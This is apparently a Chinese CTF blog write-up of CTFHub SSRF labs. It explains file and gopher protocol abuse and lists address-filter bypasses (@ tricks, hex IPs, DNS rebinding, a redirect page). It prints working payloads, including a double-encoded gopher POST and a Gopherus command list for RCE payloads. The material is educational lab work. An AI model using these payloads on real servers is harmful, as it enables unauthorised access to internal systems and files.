      <![CDATA[<h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>先来张图</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419223925439.png" alt="image-20250419223925439"></p><blockquote><p>SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。</p><p>一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）</p></blockquote><h1 id="协议"><a href="#协议" class="headerlink" title="协议"></a>协议</h1><h2 id="file"><a href="#file" class="headerlink" title="file"></a>file</h2><p><strong>file:&#x2F;&#x2F;&#x2F; 从文件系统中获取文件内容，如，file:&#x2F;&#x2F;&#x2F;var&#x2F;www&#x2F;html&#x2F;flag.php</strong><br><strong>file:&#x2F;&#x2F; 主机名 &#x2F; 路径</strong>：当有主机名时，这里的两个斜杠 <code>//</code> 用于分隔协议名和主机名，表明接下来是主机名信息。</p><p>例如:file:&#x2F;&#x2F;127.0.0.1&#x2F;path&#x2F;to&#x2F;file.txt</p><blockquote><p><strong>file:&#x2F;&#x2F;&#x2F; 路径：当访问本地文件系统时，不存在主机名，此时的三个斜杠 <code>///</code> 里，前面两个 <code>//</code> 是遵循 URI 格式规范中分隔协议名和主机名的部分，而第三个斜杠 <code>/</code> 则是路径的起始。例如 <code>file:///var/www/html/flag.php</code>，它表示访问本地系统中 <code>/var/www/html/flag.php</code> 这个文件。</strong></p></blockquote><h2 id="gopher"><a href="#gopher" class="headerlink" title="gopher"></a>gopher</h2><blockquote><ul><li><p><strong><code>gopher</code>协议是一种信息查找系统，他将<code>Internet</code>上的文件组织成某种索引，方便用户从<code>Internet</code>的一处带到另一处。在<code>WWW</code>出现之前，<code>Gopher</code>是<code>Internet</code>上最主要的信息检索工具，Gopher站点也是最主要的站点，使用<code>tcp70</code>端口。但在<code>WWW</code>出现后，<code>Gopher</code>失去了昔日的辉煌。现在它基本过时，人们很少再使用它。</strong></p></li><li><p><strong>它只支持文本，不支持图像</strong></p></li></ul></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gopher协议格式:gopher://IP:port/_&#123;TCP/IP数据流&#125;</span><br></pre></td></tr></table></figure><h1 id="几个方法"><a href="#几个方法" class="headerlink" title="几个方法"></a>几个方法</h1><ol><li>利用本地地址<ul><li><strong>原理</strong>：<code>http://127.0.0.1</code>和<code>http://localhost</code>是本地回环地址，用于访问本地服务器。直接使用这些地址可以让服务器发起对自身的请求，若服务器对目标地址验证不严格，就可能被利用来访问本地资源。</li><li><strong>例子</strong>：当用户输入<code>http://127.0.0.1/admin</code>时，服务器未对该本地地址进行限制，就会去访问本地的<code>admin</code>页面</li></ul></li><li>利用 [::]<ul><li><strong>原理</strong>：<code>[::]</code>在 IPv6 环境中表示本地地址，类似于 IPv4 中的<code>127.0.0.1</code>。服务器在处理 IPv6 地址时，如果存在漏洞，可能会将<code>[::]</code>解析为本地地址，从而绕过一些针对 IPv4 地址的限制。</li><li><strong>例子</strong>：在一个支持 IPv6 的 Web 应用程序中，存在 SSRF 漏洞。输入<code>http://[::]:80/admin.php</code>，服务器在处理该请求时，将<code>[::]</code>解析为本地地址，并访问本地 80 端口的<code>admin.php</code>页面，获取敏感信息。</li></ul></li><li>利用 @<ul><li><strong>原理</strong>：在一些 URL 处理机制中，<code>@</code>后面的部分可能被视为不同的域名或地址。通过在指定网址后加<code>@ + 127.0.0.1</code>，可能会使服务器将<code>127.0.0.1</code>作为目标地址进行请求，而忽略前面的部分，从而实现绕过。</li><li><strong>例子</strong>：某网站功能是获取用户输入 URL 的网页内容。用户输入<code>http://example.com@127.0.0.1/admin</code>，服务器在处理时，将请求发送到<code>127.0.0.1/admin</code>，而不是<code>example.com</code>，攻击者借此绕过了对<code>127.0.0.1</code>的限制访问。</li></ul></li><li>利用短域名<ul><li><strong>原理</strong>：短域名服务通常会将短域名重定向到原始的长域名。如果攻击者能够控制短域名的解析，将其指向<code>127.0.0.1</code>，那么当服务器访问短域名时，就会被重定向到本地地址，达到绕过限制的目的。</li><li><strong>例子</strong>：注册了一个短域名<code>http://dwz.cn/11SMa</code>，并将其解析指向<code>127.0.0.1</code>。输入该短域名，服务器去访问<code>http://dwz.cn/11SMa</code>，随后被重定向到<code>127.0.0.1</code>，从而可能获取到本地服务器的敏感信息。</li></ul></li><li>利用特殊域名<ul><li><strong>原理</strong>：<code>xip.io</code>等特殊域名服务会根据子域名的 IP 地址进行解析。例如，<code>127.0.0.1.xip.io</code>会被解析为<code>127.0.0.1</code>。服务器在处理这类域名时，会按照域名系统（DNS）的解析结果将请求发送到本地地址，从而绕过对直接使用本地地址的限制。</li><li><strong>例子</strong>：攻击者输入<code>http://127.0.0.1.xip.io/admin</code>，服务器根据 DNS 解析将<code>127.0.0.1.xip.io</code>解析为<code>127.0.0.1</code>，并访问本地的<code>admin</code>页面，获取敏感数据。</li></ul></li><li>利用 DNS 解析<ul><li><strong>原理</strong>：通过在域名上设置 A 记录，将其指向<code>127.0.0.1</code>，可以使服务器在访问该域名时，根据 DNS 解析结果将请求发送到本地地址。这是利用了服务器对域名解析的信任，只要域名能正确解析到本地地址，就可以绕过一些基于 IP 地址的访问限制。</li><li><strong>例子</strong>：攻击者拥有一个域名<code>evil.com</code>，在 DNS 管理界面将该域名的 A 记录指向<code>127.0.0.1</code>。在存在 SSRF 漏洞的网站中，用户输入<code>http://evil.com/admin</code>，服务器根据 DNS 解析将请求发送到本地的<code>127.0.0.1/admin</code>，攻击者可能获取到本地服务器的敏感内容。</li></ul></li><li>利用上传<ul><li><strong>原理</strong>：将文件上传字段的类型从<code>file</code>修改为<code>url</code>，使得服务器在处理上传时，将用户提交的 URL 作为数据进行处理。如果服务器对上传的 URL 没有进行严格的验证和过滤，就可能会发起对该 URL 的请求，从而导致 SSRF 漏洞被利用。</li><li><strong>例子</strong>：原本上传表单的字段是<code>&lt;input type=&quot;file&quot; name=&quot;upload&quot;&gt;</code>，攻击者通过抓包修改该字段为<code>&lt;input type=&quot;url&quot; name=&quot;upload&quot;&gt;</code>，然后在输入框中填写<code>http://127.0.0.1/admin</code>，服务器会将其当作 URL 进行访问，可能获取到本地<code>admin</code>页面的敏感信息。</li></ul></li><li>利用句号<ul><li><strong>原理</strong>：将正常的点号（<code>.</code>）替换为全角或其他特殊形式的句号，服务器在处理地址时，可能会将其错误地解析为正常的点号，从而将<code>127。0。0。1</code>识别为<code>127.0.0.1</code>，实现绕过。这是利用了服务器对地址格式验证的不严格性。</li><li><strong>例子</strong>：在一个存在 SSRF 漏洞且对输入的 IP 地址有一定过滤规则（限制直接输入<code>127.0.0.1</code>）的系统中，输入<code>127。0。0。1</code>，由于服务器对特殊句号的处理不当，将其解析为<code>127.0.0.1</code>，并访问本地服务器，获取到了敏感信息。</li></ul></li><li>进行进制转换<ul><li><strong>原理</strong>：将 IP 地址进行进制转换，如从十进制转换为十六进制或八进制，然后在请求中使用转换后的地址。服务器在处理这些地址时，如果对不同进制的地址解析存在漏洞，可能会将其解析为原始的 IP 地址，从而绕过基于十进制 IP 地址的过滤或限制。</li><li><strong>例子</strong>：已知目标服务器存在 SSRF 漏洞且过滤了十进制的<code>127.0.0.1</code>。攻击者将<code>127.0.0.1</code>转换为十六进制<code>0x7F.0x00.0x00.0x01</code>，然后在漏洞输入处输入<code>http://0x7F.0x00.0x00.0x01/admin</code>，服务器在解析时将十六进制转换回十进制，并访问本地的<code>admin</code>页面，攻击者获取到了敏感数据。</li></ul></li><li>利用特殊地址<ul><li><strong>原理</strong>：<code>http://0/</code>可能被服务器解析为本地地址或默认的回环地址。这是因为在一些网络配置或服务器处理机制中，<code>0</code>被视为特殊的本地地址标识，从而导致请求被发送到本地服务器，实现 SSRF 绕过。</li><li><strong>例子</strong>：输入<code>http://0/admin</code>，服务器将<code>0</code>解析为本地回环地址<code>127.0.0.1</code>，并访问本地的<code>admin</code>页面，攻击者通过这种方式绕过了对<code>127.0.0.1</code>的限制，获取到了敏感信息。</li></ul></li></ol><h1 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h1><h2 id="内网访问"><a href="#内网访问" class="headerlink" title="内网访问"></a>内网访问</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250416203247983.png" alt="image-20250416203247983"></p><p>url后加上地址，直接访问就行</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250416203214524.png" alt="image-20250416203214524"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250416203234021.png" alt="image-20250416203234021"></p><p><strong>flag:ctfhub{b808c03115dc747cca170205}</strong></p><h2 id="伪协议读取文件"><a href="#伪协议读取文件" class="headerlink" title="伪协议读取文件"></a>伪协议读取文件</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417190618450.png" alt="image-20250417190618450"></p><p>访问file:&#x2F;&#x2F;&#x2F;var&#x2F;www&#x2F;html&#x2F;flag.php</p><blockquote><p>- </p></blockquote><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417191222956.png" alt="image-20250417191222956"></p><p>查看源码</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417191412573.png" alt="image-20250417191412573"></p><p><strong>flag:ctfhub{0a68d1edbc7aaf74c3182b4b}</strong></p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417191622260.png" alt="image-20250417191622260"></p><p>使用bp,在url&#x3D;后加上127.0.0.1:，后面是狙击点</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417192500897.png" alt="image-20250417192500897"></p><p>使用数值</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417192824644.png" alt="image-20250417192824644"></p><p>有一个长度不一样的</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417192434715.png" alt="image-20250417192434715"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417193038833.png" alt="image-20250417193038833"></p><p><strong>flag:ctfhub{dc071b1db5358a23fe2964c0}</strong></p><h2 id="POST请求"><a href="#POST请求" class="headerlink" title="POST请求"></a>POST请求</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417194414807.png" alt="image-20250417194414807"></p><p>用dirsearch扫描一下</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417195608168.png" alt="image-20250417195608168"></p><p>发现有&#x2F;flag.php</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417195654197.png" alt="image-20250417195654197"></p><p>源码：</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417195729171.png" alt="image-20250417195729171"></p><p>输点东西进去，提示只能从内网访问</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417200228366.png" alt="image-20250417200228366"></p><p>伪协议file看一下</p><p><code>http://challenge-c31e7c56cac9116a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417200800990.png" alt="image-20250417200800990"></p><p><code>http://challenge-c31e7c56cac9116a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417200822841.png" alt="image-20250417200822841"></p><blockquote><p>好像意思是要把key在flag.php中传进去，而且要从127.0.0.1的内网传（好像是得），就能输出flag,没大看懂</p></blockquote><p>使用gopher，一个post协议</p><blockquote><p>POST &#x2F;flag.php HTTP&#x2F;1.1<br>Host: 127.0.0.1:80<br>Content-Type: application&#x2F;x-www-form-urlencoded<br>Content-Length: 36</p><p>key&#x3D;facbefd1b5ad715b28f22f69767de786</p></blockquote><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417203207655.png" alt="image-20250417203207655"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250417203221858.png" alt="image-20250417203221858"></p><p><strong>flag:ctfhub{3772ca39025f9412dab29936}</strong></p><h2 id="上传文件"><a href="#上传文件" class="headerlink" title="上传文件"></a>上传文件</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419214417055.png" alt="image-20250419214417055"></p><p>dirsearch扫描一下</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419214819464.png" alt="image-20250419214819464"></p><p>发现有个flag.php</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419214846095.png" alt="image-20250419214846095"></p><p>打开后是文件上传</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419214942986.png" alt="image-20250419214942986"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419214954615.png" alt="image-20250419214954615"></p><p>加个提交按钮</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419215501025.png" alt="image-20250419215501025"></p><p><del>上传一句话木马后显示只能从127.0.0.1上看</del></p><blockquote><p>看了一下别人的wp发现和一句话木马没关系，为啥要叫webshell，以为要上传一句话呢</p></blockquote><p>上传一个文本文件</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419215757101.png" alt="image-20250419215757101"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419221958197.png" alt="image-20250419221958197"></p><p>用gopher协议</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">POST /flag.php HTTP/1.1</span><br><span class="line">Host: challenge-1e43d5d6a835ce72.sandbox.ctfhub.com:10800</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate, br</span><br><span class="line">Content-Type: multipart/form-data; boundary=----geckoformboundaryc2989fe8059f83f994d023bd4cf9bce8</span><br><span class="line">Content-Length: 333</span><br><span class="line">Origin: http://challenge-1e43d5d6a835ce72.sandbox.ctfhub.com:10800</span><br><span class="line">Connection: close</span><br><span class="line">Referer: http://challenge-1e43d5d6a835ce72.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Priority: u=0, i</span><br><span class="line">Pragma: no-cache</span><br><span class="line">Cache-Control: no-cache</span><br><span class="line"></span><br><span class="line">------geckoformboundaryc2989fe8059f83f994d023bd4cf9bce8</span><br><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;ss.txt&quot;</span><br><span class="line">Content-Type: text/plain</span><br><span class="line"></span><br><span class="line">111</span><br><span class="line">------geckoformboundaryc2989fe8059f83f994d023bd4cf9bce8</span><br><span class="line">Content-Disposition: form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">提交查询</span><br><span class="line">------geckoformboundaryc2989fe8059f83f994d023bd4cf9bce8--</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419222916072.png" alt="image-20250419222916072"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url=gopher://127.0.0.1:80/_POST%2520%252Fflag%252Ephp%2520HTTP%252F1%252E1%250D%250AHost%253A%2520challenge%252D1e43d5d6a835ce72%252Esandbox%252Ectfhub%252Ecom%253A10800%250D%250AUser%252DAgent%253A%2520Mozilla%252F5%252E0%2520%2528Windows%2520NT%252010%252E0%253B%2520Win64%253B%2520x64%253B%2520rv%253A136%252E0%2529%2520Gecko%252F20100101%2520Firefox%252F136%252E0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0%252E9%252C%252A%252F%252A%253Bq%253D0%252E8%250D%250AAccept%252DLanguage%253A%2520zh%252DCN%252Czh%253Bq%253D0%252E8%252Czh%252DTW%253Bq%253D0%252E7%252Czh%252DHK%253Bq%253D0%252E5%252Cen%252DUS%253Bq%253D0%252E3%252Cen%253Bq%253D0%252E2%250D%250AAccept%252DEncoding%253A%2520gzip%252C%2520deflate%252C%2520br%250D%250AContent%252DType%253A%2520multipart%252Fform%252Ddata%253B%2520boundary%253D%252D%252D%252D%252Dgeckoformboundaryc2989fe8059f83f994d023bd4cf9bce8%250D%250AContent%252DLength%253A%2520333%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge%252D1e43d5d6a835ce72%252Esandbox%252Ectfhub%252Ecom%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge%252D1e43d5d6a835ce72%252Esandbox%252Ectfhub%252Ecom%253A10800%252F%253Furl%253D127%252E0%252E0%252E1%252Fflag%252Ephp%250D%250AUpgrade%252DInsecure%252DRequests%253A%25201%250D%250APriority%253A%2520u%253D0%252C%2520i%250D%250APragma%253A%2520no%252Dcache%250D%250ACache%252DControl%253A%2520no%252Dcache%250D%250A%250D%250A%252D%252D%252D%252D%252D%252Dgeckoformboundaryc2989fe8059f83f994d023bd4cf9bce8%250D%250AContent%252DDisposition%253A%2520form%252Ddata%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522ss%252Etxt%2522%250D%250AContent%252DType%253A%2520text%252Fplain%250D%250A%250D%250A111%250D%250A%252D%252D%252D%252D%252D%252Dgeckoformboundaryc2989fe8059f83f994d023bd4cf9bce8%250D%250AContent%252DDisposition%253A%2520form%252Ddata%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A%252D%252D%252D%252D%252D%252Dgeckoformboundaryc2989fe8059f83f994d023bd4cf9bce8%252D%252D%250D%250A</span><br></pre></td></tr></table></figure><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250419223021693.png" alt="image-20250419223021693"></p><p><strong>flag:ctfhub{b2184ba24b1f73711bbc433a}</strong></p><h2 id="URL-Bypass"><a href="#URL-Bypass" class="headerlink" title="URL Bypass"></a>URL Bypass</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420000956644.png" alt="image-20250420000956644"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420001018794.png" alt="image-20250420001018794"></p><p>必须以<code>http://notfound.ctfhub.com</code>开头，利用@</p><p>前几题都是在flag.php，不扫了</p><p><code>http://challenge-8969491d76b728e9.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420001437851.png" alt="image-20250420001437851"></p><p><strong>flag:ctfhub{cea33271e701772ca5d81eb8}</strong></p><h2 id="数字IP-Bypass"><a href="#数字IP-Bypass" class="headerlink" title="数字IP Bypass"></a>数字IP Bypass</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420001705644.png" alt="image-20250420001705644"></p><p>127不能用了，先试试[::]，不管用</p><p>把127.0.0.1换成16进制<code>0x7F.0x00.0x00.0x01</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420002245057.png" alt="image-20250420002245057"></p><p><strong>flag:ctfhub{83543fbfc136ce38c99b0eef}</strong></p><h2 id="302跳转-Bypass"><a href="#302跳转-Bypass" class="headerlink" title="302跳转 Bypass"></a>302跳转 Bypass</h2><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420003445531.png" alt="image-20250420003445531"></p><p>虽然说了是302跳转但也可以不用302跳转，有两中方法</p><h3 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h3><p>去自己的vps上的网站上新建个页面</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;url&#x27;</span>]))&#123;</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: <span class="subst">&#123;$_GET[&#x27;http://127.0.0.1/flag.php&#x27;]&#125;</span>&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><code>http://challenge-f16e2f72d68913ad.sandbox.ctfhub.com:10800/?url=catblog.ggff.net/ctf/zd.php</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420011447151.png" alt="image-20250420011447151"></p><h3 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h3><p>file看一下源码</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420011557649.png" alt="image-20250420011557649"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420011623517.png" alt="image-20250420011623517"></p><p>发现对localhost并没有过滤</p><p>访问<code>http://challenge-f16e2f72d68913ad.sandbox.ctfhub.com:10800/?url=localhost/flag.php</code></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250420011808330.png" alt="image-20250420011808330"></p><p><strong>flag:ctfhub{6fccc197195e2c5860463261}</strong></p><h1 id="SSRF（二）"><a href="#SSRF（二）" class="headerlink" title="SSRF（二）"></a>SSRF（二）</h1><h2 id="DNS重绑定-Bypass"><a href="#DNS重绑定-Bypass" class="headerlink" title="DNS重绑定 Bypass"></a>DNS重绑定 Bypass</h2><p><strong>题目：</strong></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250426171107605.png" alt="image-20250426171107605"></p><p>附件：<a href="/2025/06/18/2025-06-18-SSRF/https://zhuanlan.zhihu.com/p/89426041">浅谈DNS重绑定漏洞 - 知乎</a>        附件详细介绍了DNS重绑定的漏洞</p><p>先看一下flag.php,只能内网访问</p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250426172155794.png" alt="image-20250426172155794"></p><p>file看一下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&quot;REMOTE_ADDR&quot;</span>] != <span class="string">&quot;127.0.0.1&quot;</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;Just View From 127.0.0.1&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">getenv</span>(<span class="string">&quot;CTFHUB&quot;</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>再file看一下index.php，有个黑名单</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">&#x27;url&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: /?url=_&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$url</span> = <span class="variable">$_REQUEST</span>[<span class="string">&#x27;url&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/127|172|10|192/&quot;</span>, <span class="variable">$url</span>)) &#123;</span><br><span class="line">    <span class="keyword">exit</span>(<span class="string">&quot;hacker! Ban Intranet IP&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$ch</span> = <span class="title function_ invoke__">curl_init</span>();</span><br><span class="line"><span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_URL, <span class="variable">$url</span>);</span><br><span class="line"><span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">curl_exec</span>(<span class="variable">$ch</span>);</span><br><span class="line"><span class="title function_ invoke__">curl_close</span>(<span class="variable">$ch</span>);</span><br></pre></td></tr></table></figure><p>使用<a href="/2025/06/18/2025-06-18-SSRF/https://lock.cmpxchg8b.com/rebinder.html">rbndr.us dns rebinding service</a>来模拟 DNS 重绑</p><blockquote><p>rbndr 利用特定的域名格式<code>&lt;ipv4十六进制&gt;.&lt;ipv4十六进制&gt;.rbndr.us</code>来实现 IP 地址之间的切换，其服务器通过随机选择主机名中指定的一个地址并以非常低的 TTL（Time to Live，生存时间）作为回复来响应查询，从而模拟 DNS 重绑定攻击，帮助开发者识别和修复相关安全漏洞。</p></blockquote><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250426173308658.png" alt="image-20250426173308658"></p><p><img src="/2025/06/18/2025-06-18-SSRF/image-20250426173342524.png" alt="image-20250426173342524"></p><p><strong>flag:ctfhub{f2555bbb8314bfb444f6fbc4}</strong></p><h2 id="FastCGI协议"><a href="#FastCGI协议" class="headerlink" title="FastCGI协议"></a>FastCGI协议</h2><p>fastcgi是一种通信协议，和http一样</p><blockquote><p>HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。</p><p>类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。</p></blockquote><p>record的头固定8字节</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">typedef struct &#123;</span><br><span class="line">  /* Header */</span><br><span class="line">  unsigned char version; // 版本</span><br><span class="line">  unsigned char type; // 本次record的类型</span><br><span class="line">  unsigned char requestIdB1; // 本次record对应的请求id</span><br><span class="line">  unsigned char requestIdB0;</span><br><span class="line">  unsigned char contentLengthB1; // body体的大小</span><br><span class="line">  unsigned char contentLengthB0;</span><br><span class="line">  unsigned char paddingLength; // 额外块大小</span><br><span class="line">  unsigned char reserved; </span><br><span class="line"> </span><br><span class="line">  /* Body */</span><br><span class="line">  unsigned char contentData[contentLength];</span><br><span class="line">  unsigned char paddingData[paddingLength];</span><br><span class="line">&#125; FCGI_Record;</span><br></pre></td></tr></table></figure><p>大体了解一下fastcgi。。。看了很多介绍没大看懂</p><h2 id="Gopherus工具"><a href="#Gopherus工具" class="headerlink" title="Gopherus工具"></a>Gopherus工具</h2><p>工具: <a href="/2025/06/18/2025-06-18-SSRF/https://github.com/tarunkant/Gopherus">Gopherus</a></p><p>功能：生成针对 SSRF 漏洞的 Gopher 载荷，以实现远程代码执行（RCE）或获取目标服务器上的反向 Shell 等操作。</p><table><thead><tr><th>命令</th><th>描述</th></tr></thead><tbody><tr><td>gopherus –help</td><td>帮助</td></tr><tr><td>gopherus –exploit</td><td>参数 :</td></tr><tr><td></td><td>–exploit mysql</td></tr><tr><td></td><td>–exploit postgresql</td></tr><tr><td></td><td>–exploit fastcgi</td></tr><tr><td></td><td>–exploit redis</td></tr><tr><td></td><td>–exploit zabbix</td></tr><tr><td></td><td>–exploit pymemcache</td></tr><tr><td></td><td>–exploit rbmemcache</td></tr><tr><td></td><td>–exploit phpmemcache</td></tr><tr><td></td><td>–exploit dmpmemcache</td></tr><tr><td></td><td>–exploit smtp</td></tr></tbody></table>]]>
    </content>
